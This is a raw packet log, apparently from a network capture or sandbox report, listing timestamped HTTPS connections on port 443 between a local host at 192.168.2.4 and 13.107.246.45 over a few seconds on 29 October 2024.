Oct 29, 2024 20:38:31.657316923 CET	443	49949	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:31.658116102 CET	49949	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:31.658119917 CET	443	49949	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:31.788037062 CET	443	49949	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:31.788315058 CET	443	49949	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:31.788382053 CET	49949	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:31.788516045 CET	49949	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:31.788516045 CET	49949	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:31.788533926 CET	443	49949	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:31.788543940 CET	443	49949	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:31.792318106 CET	49955	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:31.792365074 CET	443	49955	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:31.792516947 CET	49955	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:31.792855978 CET	49955	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:31.792875051 CET	443	49955	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:32.126019955 CET	443	49952	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:32.126627922 CET	49952	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:32.126660109 CET	443	49952	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:32.127255917 CET	49952	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:32.127264023 CET	443	49952	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:32.173172951 CET	443	49951	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:32.173703909 CET	49951	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:32.173721075 CET	443	49951	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:32.174302101 CET	49951	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:32.174309969 CET	443	49951	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:32.232403994 CET	443	49953	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:32.232953072 CET	49953	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:32.232971907 CET	443	49953	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:32.233644962 CET	49953	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:32.233656883 CET	443	49953	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:32.306587934 CET	443	49951	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:32.306617975 CET	443	49951	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:32.306663990 CET	443	49951	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:32.306689978 CET	49951	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:32.306729078 CET	49951	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:32.307050943 CET	49951	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:32.307075977 CET	443	49951	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:32.307087898 CET	49951	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:32.307092905 CET	443	49951	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:32.307090998 CET	443	49954	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:32.307915926 CET	49954	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:32.307946920 CET	443	49954	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:32.308700085 CET	49954	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:32.308706045 CET	443	49954	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:32.310462952 CET	49956	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:32.310513973 CET	443	49956	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:32.310745001 CET	49956	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:32.310977936 CET	49956	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:32.310993910 CET	443	49956	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:32.367151022 CET	443	49953	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:32.367240906 CET	443	49953	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:32.367403030 CET	49953	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:32.367701054 CET	49953	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:32.367722034 CET	443	49953	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:32.367733955 CET	49953	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:32.367743015 CET	443	49953	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:32.370614052 CET	49957	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:32.370656967 CET	443	49957	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:32.370827913 CET	49957	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:32.370975018 CET	49957	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:32.370991945 CET	443	49957	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:32.488202095 CET	443	49954	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:32.488760948 CET	443	49954	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:32.488828897 CET	443	49954	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:32.488863945 CET	49954	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:32.488903999 CET	49954	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:32.489017963 CET	49954	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:32.489044905 CET	443	49954	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:32.489063025 CET	49954	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:32.489069939 CET	443	49954	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:32.493279934 CET	49958	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:32.493335962 CET	443	49958	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:32.493541956 CET	49958	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:32.493839025 CET	49958	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:32.493853092 CET	443	49958	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:32.501386881 CET	443	49952	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:32.501481056 CET	443	49952	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:32.501672029 CET	49952	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:32.501748085 CET	49952	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:32.501770020 CET	443	49952	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:32.501782894 CET	49952	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:32.501789093 CET	443	49952	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:32.505299091 CET	49959	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:32.505356073 CET	443	49959	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:32.505649090 CET	49959	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:32.505814075 CET	49959	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:32.505829096 CET	443	49959	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:32.541074038 CET	443	49955	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:32.541585922 CET	49955	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:32.541604042 CET	443	49955	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:32.542057037 CET	49955	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:32.542062044 CET	443	49955	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:32.860838890 CET	443	49955	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:32.861046076 CET	443	49955	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:32.861151934 CET	49955	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:32.861186981 CET	49955	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:32.861210108 CET	443	49955	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:32.864751101 CET	49960	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:32.864845991 CET	443	49960	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:32.865077972 CET	49960	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:32.865222931 CET	49960	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:32.865242958 CET	443	49960	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:33.040249109 CET	443	49956	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:33.041296005 CET	49956	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:33.041332960 CET	443	49956	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:33.042659044 CET	49956	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:33.042685032 CET	443	49956	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:33.168773890 CET	443	49957	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:33.169476986 CET	49957	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:33.169512987 CET	443	49957	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:33.170161009 CET	49957	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:33.170169115 CET	443	49957	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:33.172352076 CET	443	49956	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:33.172422886 CET	443	49956	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:33.172518015 CET	49956	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:33.172745943 CET	49956	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:33.172770977 CET	443	49956	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:33.172791004 CET	49956	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:33.172797918 CET	443	49956	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:33.176619053 CET	49961	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:33.176654100 CET	443	49961	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:33.176979065 CET	49961	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:33.177143097 CET	49961	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:33.177155018 CET	443	49961	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:33.243360043 CET	443	49958	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:33.243910074 CET	49958	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:33.243941069 CET	443	49958	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:33.244534016 CET	49958	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:33.244539976 CET	443	49958	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:33.259100914 CET	443	49959	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:33.259702921 CET	49959	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:33.259737968 CET	443	49959	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:33.260263920 CET	49959	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:33.260272026 CET	443	49959	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:33.304728985 CET	443	49957	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:33.304769039 CET	443	49957	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:33.304826021 CET	443	49957	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:33.304830074 CET	49957	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:33.304874897 CET	49957	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:33.305141926 CET	49957	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:33.305166006 CET	443	49957	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:33.305180073 CET	49957	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:33.305186987 CET	443	49957	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:33.308597088 CET	49962	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:33.308655977 CET	443	49962	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:33.308882952 CET	49962	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:33.309079885 CET	49962	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:33.309096098 CET	443	49962	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:33.375814915 CET	443	49958	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:33.375895977 CET	443	49958	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:33.376092911 CET	49958	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:33.376341105 CET	49958	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:33.376365900 CET	443	49958	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:33.376378059 CET	49958	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:33.376384020 CET	443	49958	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:33.379641056 CET	49963	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:33.379683971 CET	443	49963	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:33.379807949 CET	49963	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:33.379997015 CET	49963	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:33.380009890 CET	443	49963	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:33.391195059 CET	443	49959	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:33.391254902 CET	443	49959	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:33.391396999 CET	443	49959	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:33.391417980 CET	49959	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:33.391459942 CET	49959	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:33.391541004 CET	49959	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:33.391561031 CET	443	49959	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:33.391597033 CET	49959	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:33.391604900 CET	443	49959	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:33.394222021 CET	49964	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:33.394270897 CET	443	49964	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:33.394381046 CET	49964	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:33.394562960 CET	49964	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:33.394591093 CET	443	49964	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:33.675498962 CET	443	49960	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:33.676928043 CET	49960	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:33.676953077 CET	443	49960	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:33.677383900 CET	49960	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:33.677392960 CET	443	49960	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:33.810195923 CET	443	49960	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:33.810345888 CET	443	49960	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:33.810466051 CET	49960	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:33.810694933 CET	49960	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:33.810713053 CET	443	49960	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:33.810744047 CET	49960	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:33.810751915 CET	443	49960	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:33.813894033 CET	49965	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:33.813937902 CET	443	49965	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:33.814017057 CET	49965	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:33.814155102 CET	49965	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:33.814163923 CET	443	49965	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:33.923248053 CET	443	49961	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:33.924026966 CET	49961	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:33.924063921 CET	443	49961	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:33.924527884 CET	49961	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:33.924532890 CET	443	49961	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:34.053102016 CET	443	49962	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:34.053909063 CET	49962	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:34.053942919 CET	443	49962	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:34.054508924 CET	49962	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:34.054519892 CET	443	49962	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:34.068046093 CET	443	49961	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:34.068125963 CET	443	49961	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:34.068406105 CET	49961	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:34.068449974 CET	49961	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:34.068449974 CET	49961	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:34.068474054 CET	443	49961	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:34.068490028 CET	443	49961	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:34.071510077 CET	49966	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:34.071563005 CET	443	49966	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:34.072340965 CET	49966	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:34.072566986 CET	49966	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:34.072581053 CET	443	49966	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:34.421441078 CET	443	49962	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:34.421473026 CET	443	49962	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:34.421516895 CET	443	49962	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:34.421619892 CET	49962	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:34.421928883 CET	49962	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:34.421952009 CET	443	49962	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:34.421977043 CET	49962	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:34.421984911 CET	443	49962	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:34.424917936 CET	443	49963	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:34.425657034 CET	443	49964	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:34.426552057 CET	49967	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:34.426589012 CET	443	49967	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:34.426651955 CET	49967	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:34.427237988 CET	49964	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:34.427253008 CET	443	49964	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:34.427664995 CET	49964	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:34.427678108 CET	443	49964	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:34.427875042 CET	49963	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:34.427906036 CET	443	49963	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:34.428563118 CET	49963	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:34.428570986 CET	443	49963	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:34.428679943 CET	49967	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:34.428694010 CET	443	49967	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:34.558458090 CET	443	49963	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:34.558487892 CET	443	49964	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:34.558561087 CET	443	49964	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:34.558857918 CET	49964	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:34.559010029 CET	49964	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:34.559010029 CET	49964	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:34.559036016 CET	443	49964	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:34.559046030 CET	443	49964	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:34.562026024 CET	49968	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:34.562062979 CET	443	49968	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:34.562150002 CET	49968	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:34.562330008 CET	49968	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:34.562345028 CET	443	49968	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:34.563417912 CET	443	49963	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:34.563479900 CET	49963	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:34.563503981 CET	49963	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:34.563515902 CET	443	49963	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:34.563527107 CET	49963	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:34.563533068 CET	443	49963	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:34.566082001 CET	49969	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:34.566137075 CET	443	49969	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:34.566220045 CET	49969	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:34.566358089 CET	49969	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:34.566376925 CET	443	49969	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:34.602169991 CET	443	49965	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:34.602890015 CET	49965	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:34.602899075 CET	443	49965	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:34.603571892 CET	49965	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:34.603576899 CET	443	49965	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:34.736713886 CET	443	49965	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:34.736757040 CET	443	49965	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:34.736819983 CET	443	49965	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:34.736983061 CET	49965	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:34.736983061 CET	49965	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:34.737242937 CET	49965	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:34.737253904 CET	443	49965	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:34.737320900 CET	49965	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:34.737327099 CET	443	49965	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:34.740364075 CET	49970	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:34.740415096 CET	443	49970	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:34.740530014 CET	49970	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:34.740705013 CET	49970	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:34.740720034 CET	443	49970	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:35.032623053 CET	443	49966	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:35.034360886 CET	49966	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:35.034385920 CET	443	49966	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:35.034887075 CET	49966	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:35.034894943 CET	443	49966	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:35.166167021 CET	443	49966	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:35.166235924 CET	443	49966	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:35.166455030 CET	49966	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:35.166598082 CET	49966	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:35.166624069 CET	443	49966	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:35.166635036 CET	49966	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:35.166640997 CET	443	49966	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:35.174171925 CET	49971	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:35.174241066 CET	443	49971	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:35.174427032 CET	49971	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:35.176074982 CET	443	49967	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:35.178349018 CET	49971	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:35.178388119 CET	443	49971	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:35.179002047 CET	49967	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:35.179019928 CET	443	49967	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:35.179579020 CET	49967	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:35.179584980 CET	443	49967	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:35.309180021 CET	443	49967	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:35.309782028 CET	443	49967	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:35.309829950 CET	443	49967	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:35.309988022 CET	49967	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:35.309988022 CET	49967	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:35.309988022 CET	49967	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:35.311705112 CET	443	49968	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:35.311752081 CET	49967	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:35.311767101 CET	443	49967	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:35.312112093 CET	49968	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:35.312153101 CET	443	49968	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:35.312638998 CET	49968	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:35.312647104 CET	443	49968	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:35.312778950 CET	49972	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:35.312800884 CET	443	49972	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:35.312865019 CET	49972	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:35.312979937 CET	49972	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:35.312994957 CET	443	49972	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:35.336572886 CET	443	49969	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:35.337255001 CET	49969	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:35.337305069 CET	443	49969	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:35.337816000 CET	49969	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:35.337826014 CET	443	49969	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:35.444516897 CET	443	49968	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:35.444828033 CET	443	49968	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:35.445041895 CET	49968	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:35.445041895 CET	49968	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:35.445041895 CET	49968	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:35.447911024 CET	49973	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:35.447957039 CET	443	49973	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:35.448033094 CET	49973	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:35.448177099 CET	49973	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:35.448196888 CET	443	49973	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:35.478838921 CET	443	49969	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:35.478904963 CET	443	49969	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:35.479262114 CET	49969	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:35.479262114 CET	49969	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:35.479262114 CET	49969	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:35.482058048 CET	49974	443	192.168.2.4	13.107.246.45
